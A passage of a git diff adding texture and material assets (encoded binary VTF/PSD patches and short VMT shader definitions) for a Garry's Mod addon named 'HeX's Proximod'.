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 F{{fEhu_pik literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare.vmt new file mode 100644 index 0000000..19771f8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_flare" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare.vtf new file mode 100644 index 0000000000000000000000000000000000000000..d231d26a0595eaf2a433660184fbe9dd365d49b9 GIT binary patch literal 5696 zcmeI0dr(x@9mmh!bNAl8`+!|=ku5$@R<_m$tdAA30%|7lPP$5}6PfW3QJjvBtcni| z(;67ev_owKmQmi3s59v_QrUty1}CI}F}1NHgHy7@c6`N7Yz#GsLXg1iLHhgM%XSiy zKRW%V$iolc-#NeYJHK;&=Nw+${2~zvAsqY4WM3KM{}Kq%vHwqe6r~daU*o?iN{?jU zMGO08wW?<068jh%x;3P*kN?$At8HQ&io$+UN~0ni`^SItoQc`Ilgj=%HotR%S=@gV zm}*V|)(PZFOvcmoz}&4ON=Wv<+cQ(~(dJj?>W~E@`|rz@Ca^aU`LS!~0&eQpNU7WkZ2tN9Xz3H+u}InP%;n|*8%S1yXGekunE5|BjeP<~oF|dV ztOww)teHy^Sr@<}sXDfreFE!=RNkV|d4tzTT74nV4J4}Tlt$+a)vJRV9Tp1MQ#K#Y zyt>#)Tw*Dj#4_g(V>*cg7Mu@myuS@x5cF_=<9es8`V)15Q2y^a|oi7(B0#i~_&6iZa0W8vg z4CU-A-v>O)uyNMNa7`Sr%Pjkq{Es7me`t{(D~*xYf#(=EKEAy;;m5#c{cGJLSDMiu zPxch2ZT-U-=q&y+UasSTMQ(m&zNGG^&{lGlgRqV=AA*(5>cYyZv$$WL`yXj`fv#iu=QaKfy2W?% z@9xC;kC!f&N4sZZ{~pVihb}3naX&1#SpU+a;UvR@oYZy&?T!3zo6{a{Lw}U)=Un;4 z*gkwc3gp%uwhZ$y8QLD~bH2uj@u4NL|GoGDCm->F~Q`?{Lb~{y_lDrR{%e-Zvv+>?@=I4H6z5Oon zc9zuReDkDWVEeyaLT%+Z(U(ulwTTa_6t!#PR70yVD+)_5o9Jq9b_7 zjQjsP#Ggw&R-Au5mFt4;JIIn=_NNb@{sr`J&g^M z*ckG|jA zYs`T5HfiJD+P)Nw$0P)4+DHeUry}37ZdJUu7wmc6IojJ`Nd{*7V+X7MDZu|3zuWPH zlJZ#4S^Tz+Kt1j!gFd13^G!+7N_ zVAA1e;CZ&;>b8}33WgZ*W@wFtF&>BcUHa_I1 z^5-a<4~&=B5lb&whs@$<`=9&9_&Jg{BTlaCgz=2$zc#QN*Rw${IpQ?$ohYf_x@l-X z=GSd^=S911o1lH;ibr2Ytgz#H8SR{wt(%i6gFe7Uo?h64_4BKrvEa`fO9OrL>;{_l z`BJ<;IZWA+gAGZV_=Cp=ceSIv$TzI(Zc^uqCt1fY29Ga?{+{0_*p&!4JpZgd)Wznh z>z~&puHh1`#b7V#3(98~RAM|f<8WDIUilW#e>82rZOi5AHsFApUEbXemf-PsAt8O< zq8I$_wO<2&`jeuTa^EQC|B*ZMMt}Y&>T6=o+;}!XG5#2HLqh7=W{lS)2HQOk)%S%+ zv)Z3-ZN_@Q?%VBSTifxyIFbKvi$74`sd@kLoZCuuR?NS|C-ompudamgM@ouyOF`vU z;Dy%q%IU*Zn4i^lBDX2^7|;5db$417_5S?QZ1Q63pn9KAiM4+8?5Tq1b;`70j;HK7(7;l!MIPTcw^o>U>Of{&A#arWmMK>pv%zm$j<( zfSvcYih#;C!=;nc`%m?Nek!?+>6JEoFA}AL+ySl!SP1N)ufL{so#$yU%$;z?3vuLfK|~e}=F3 zaAxn1GN+`j54QfZE9R*6PvqUUICnLk50bv4DW{(J!9B@ zs{KAy{1bm4P}f8F`;@u2vcDhT{IdDF8`Qib?XoI|i){{_x0LT3N~ literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare_add.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare_add.vmt new file mode 100644 index 0000000..2307403 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare_add.vmt @@ -0,0 +1,7 @@ +"UnlitGeneric" +{ + "$basetexture" "proxi/beacon_flare_add" + "$additive" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare_add.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_flare_add.vtf new file mode 100644 index 0000000000000000000000000000000000000000..3ea37cc47f06b1e79dc64258b6143b2adce6310b GIT binary patch literal 2952 zcmc&$O=ufO6y7R^Y?L2#38>J6RV=V9Z?`_^V5muDaKWa5U_4$|D7z#kg~U)?Oo>op zS(p%L2sxDI&_au_NpN>@_9O}cc@2iT5Xeml6cUG~#jZ?AE{n{zyVLK@N{($B$fb0Q z^l9e3H{W}2-n{Yn*hkV~Ns=P?oWbWq`a2{^Z{atMmp9)YXn(?$@~PwaahSehv9?+$ z!uL5@k{GKd&&LQoX$_?@?^4F{qDtYouv1Dvn#<^?hNS_Fi4)k$ZvKfl1auk z_)zLhjxiyhn3%|t+zsav-;a5XvF<@h;uvf3`B)@!;zaCPLT1BR_Se&_%osb#xxlff z&8&P93p5`C{@;F6BH;#0i2T)SAzoezkp(TZL*%V>jUTXcDNnv*r{`mc+p&;;AUCB2 zF*h+s{JbL0WzK6n%YskSbe;CC-mccq$2uh|omSWT7vpU9_l!Ka7H7U49UcL4@0nQV zQ`2klteh{EN@TB>Li^kGy0A|T3@BUKg_vJcl$EAATL0nrQO>t>hPk@hJK2#KGxYo- z?62ayg}oly!@N%ZRx_F8X8%G=QIzEk{_*6I<6l16;HRfnSAX6(2K#(oA74NmR4>AQ ze0-ezud|RJcFH>J2a|9$HszKc`VRDh zP~WSNKKAv@CE`Im!N2kQj$@Nvx+fZ?I^o;)DMH7J$_ugcF~)=FV*H$}fsYWp5+TBt z*5V}JewX?WnoEQ9n?b`Q`{4eKGWin(fk*oTJo1BS#%>;HojXpA;)+Hi5y5M}r*+VX>y|ki3DY}=Yv>zMg4#>6Q5^y2LoExj;-^-o9J=)JG6^q2&JDKjmp%im}>^4WQ_n|*TtQ-)243At$ zF~h42kD#wVwtu|<{|b4%MEst&wMF}tyrSqEjjhHO@fpVD1N^=?|7iNCCHQScp}3b7 z6@8^EaT|T5S-UaH;Kw%)Kbv8$Er0vy-VE`7^3WUwuHKrt+n3Ah2IZxQdrs$}>!qUL zFX`?0Mg9$pz42FF->3M~7^IJOqIQ8_QC0Qg$WUq-3-Onwetwhs%B`98ejWH}-}7DmLZMio{fe!=iTn$GP1E-A`?WBB^kKmdTJVd0s9YMo zkODpUPfr1=8~pyG$RXliX-d*+Zl(Fv*Pxvse&AK&2a5O$JB3#KVc*`vzgvHF92t=g<@#7qH%I_=wSACH9eT*>wmP+~vf0^nS&q3|tNHSH;+?l2QD?yzdo4nf> zL7(oOT<<4-D|ffAQZm?s+)%1;rOAjNw0LjM$y+;~NB3_BNc-a+2E@nq^lzHu_(lDx zmM!8})McCMPgRsZXuryei+!KRCGb*yiT66NazC6eH8`XD+1cPmGPMw!Zt%y{2RyHI zHN5}fxf6f8?%GKFz8m&G%eHNbzm}A;OTvQ|F&*;XG`UZGmiW%m zI`$WG{Agpi?r_qdH@V2CRA~sg7x1|R?6f_3Z}Yd2Y VIpP(1uR|l01K#-EZTs_I<3E4C+?W6W literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4.vmt new file mode 100644 index 0000000..a3b1786 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_square_4" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4.vtf new file mode 100644 index 0000000000000000000000000000000000000000..09c9e7b6dc363cea86cf4ba9b5bd573bfb35e34a GIT binary patch literal 5696 zcmeHH!D_-l5S=7~6_kosDM-m@SoBmH@Zh0%w_ngt2&Eqo{1Q)I#qSXM8{WEoYdY>$ z7*A6iFe{sJW_RbkH<``i^_kj4lw!^?r})htDM|3Z9_56Hr;n7Adpz4cJo^2x%`ahm zAHEI_<63t7RP%5SHp{X-1?bp41@ab*1Sq_7b#q|RPAB&r0 z#6Dok{N*E${3MS1<)cZ9?0=hKruE-~89^KU}eJ-*EZ<)kpKk`MC~_^<^RL z?~S#5r#=(jw>7@nd>Z|An@e@juD7*(l5UP$E^gKzS?|Pr)0J9tmTt*-)j5^ DisuUa literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4_edged.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4_edged.vmt new file mode 100644 index 0000000..26e2249 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4_edged.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_square_4_edged" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4_edged.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_4_edged.vtf new file mode 100644 index 0000000000000000000000000000000000000000..f8b56f4106123f9bfa3df494618b357e40042ae4 GIT binary patch literal 5696 zcmeHJQBK1!40Wig@q^eIxX3Dm_~IiU3x`1Bg9A+C0Gwo%c7{s3$F9IWmo%|sD}9{b(}ajF&^%g&=i!E&!}~$*W<=81@;bXlKe<9To%X|+f^1u& z;GElQ!J@0GVmoNJYqxELh-N$J-|~USLk1etLyUVnb??tltGccSc(q;&j`8JfvDqwo ze0kdyMWOMsX&Q||cN&9U_W0oU0Anjjj16m^&7WcZSNuM|o5VWaJU)c7 z)cXlxxc~EG@AY~mMB}meoyvQNUeDII`0IQ)HNVE@|IEMetzQ2Yd*6SbFMl|GQErxoWF_tADHi6LEAhYs;v8^;swb#&5^lgvxW?WnUzRn_EYWGI zCst^uHv8tE*p6doeR+PMDG?>OpKx#RdAuiM@ZDeKny9_qFXj3M&*?QDiv_be60Wc9 z=eEK1TjT4Sx1(t=rfGVBX+AGMOmg>ryV}vg0=6>Ct1QCxq^Kv1LCh0k3}OK}r{BvX zXh|$jRM>7jt0Q>`NAk3fXsci1h9Imh@B9e{!0Fx|2gZ^wpUx9vsc%DcYYj} z|CwU`Yp>6__4)l8o&S69f2{wo_P=ud8=U{j_0R2p?tkab-@f{N{nN~UB>%ALAI=Aw z{=@nIz5ng-*5C5`pWgM~<$twm&qcn!uzrt|FrUYjz)K;&6m-dN!~2}Q{!Gjt=(1jb SANkMrv~uI9`@iU~#Pb{KL9`nH literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8_edged.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8_edged.vmt new file mode 100644 index 0000000..58a2a31 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8_edged.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_square_8_edged" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8_edged.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_square_8_edged.vtf new file mode 100644 index 0000000000000000000000000000000000000000..5752ebd56b3f7be89787249c7b23d0031d3ab154 GIT binary patch literal 5696 zcmeHK!D_=W43*15dnxS~jIkeS*rBH$e3zM9rBr*57(#UA%;jkSr z&E}j_xNX}Mllf&m>gem>uXr?GVH{NM7=?D_mLe(uXp2&eB~=Aj<{7cR|*>-gjUl!1@h zu-+ewzpNf?|8+jqoA*+O+F#3m%m0$^8>@d^PgehO&eW>)e%bkV@AFUddwo9CWiQ=- Ld%rAyYUS?&jOeA& literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_squarestyle.psd b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_squarestyle.psd new file mode 100644 index 0000000000000000000000000000000000000000..0d2f060812bac217099c3cebf78cf74b82cf94ca GIT binary patch literal 26652 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 